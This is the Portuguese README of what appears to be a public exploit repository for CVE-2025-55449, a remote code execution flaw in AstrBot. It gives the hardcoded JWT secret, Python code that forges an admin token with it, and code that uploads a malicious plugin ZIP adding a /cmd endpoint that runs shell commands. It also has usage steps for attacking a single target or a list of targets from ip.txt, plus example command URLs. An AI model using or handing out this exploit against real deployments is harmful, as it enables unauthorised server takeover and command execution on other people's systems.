
CVE-2025-55449 EXP
Este repositório contém uma prova de conceito de exploit para CVE-2025-55449, uma vulnerabilidade crítica de Execução Remota de Código (RCE) no AstrBot. A vulnerabilidade permite que um atacante execute código arbitrário no sistema alvo explorando autenticação JWT fraca e o mecanismo de instalação de plugins.
A vulnerabilidade existe devido a:
Chave Secreta JWT Hardcoded: O AstrBot usa uma chave secreta JWT hardcoded (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) para autenticação, permitindo que atacantes forjem tokens de autenticação válidos.
Instalação de Plugin sem Restrições: O endpoint /api/plugin/install-upload permite que usuários autenticados façam upload e instalem plugins sem validação adequada, possibilitando a execução de código Python arbitrário.
Execução de Código via Sistema de Plugins: O sistema de plugins permite que plugins modifiquem as rotas da aplicação e executem comandos arbitrários através da instância Flask/Quart.
Falsificação de Token JWT: O exploit forja um token JWT usando a chave secreta hardcoded com privilégios de administrador.
Vulnerabilidade de execução de código: A vulnerabilidade de execução remota de código no backend explora o recurso de extensão de plugins embutido na aplicação, permitindo que usuários enviem pacotes de plugins personalizados. O programa descomprime os pacotes, lê as informações do plugin, importa o arquivo Python do objeto e executa o código.
1. Forjar token JWT com a chave secreta hardcoded
2. Criar arquivo ZIP de plugin malicioso
3. POST para /api/plugin/install-upload com o token forjado
4. Plugin é instalado e adiciona o endpoint /cmd
5. Executar comandos via /cmd?cmd=<comando>
jwt (PyJWT)requestszipfile (nativo)argparse (nativo)datetime (nativo)pathlib (nativo)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Execute o exploit contra uma única URL alvo:
python main.py http://target-ip:port
Crie um arquivo (ip.txt) com uma URL por linha:
http://target1:6185
http://target2:6185
http://target3:6185
Em seguida, execute:
python main.py -r ip.txt
Após uma exploração bem-sucedida, o script exibirá:
http://target-ip:port/cmd?cmd=id
Você pode então executar comandos acessando:
http://target-ip:port/cmd?cmd=<seu-comando>
Por exemplo:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Script principal do exploit
├── ip.txt # Arquivo de exemplo com URLs alvo
├── README.md # Este arquivo
└── helloworld/ # Diretório do plugin malicioso
├── main.py # Código do plugin que adiciona o endpoint /cmd
├── metadata.yaml # Metadados do plugin
├── LICENSE # Licença do plugin
└── README.md # README do plugin
O exploit usa a chave secreta JWT hardcoded para criar um token de autenticação válido:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
O plugin (helloworld/main.py) explora o sistema de importação do Python e a instância da aplicação Flask/Quart para injetar uma nova rota:
# O plugin localiza a instância da aplicação Quart e adiciona uma rota /cmd
# que executa comandos arbitrários via os.popen()
O exploit empacota o plugin como um arquivo ZIP e o envia através do endpoint autenticado:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)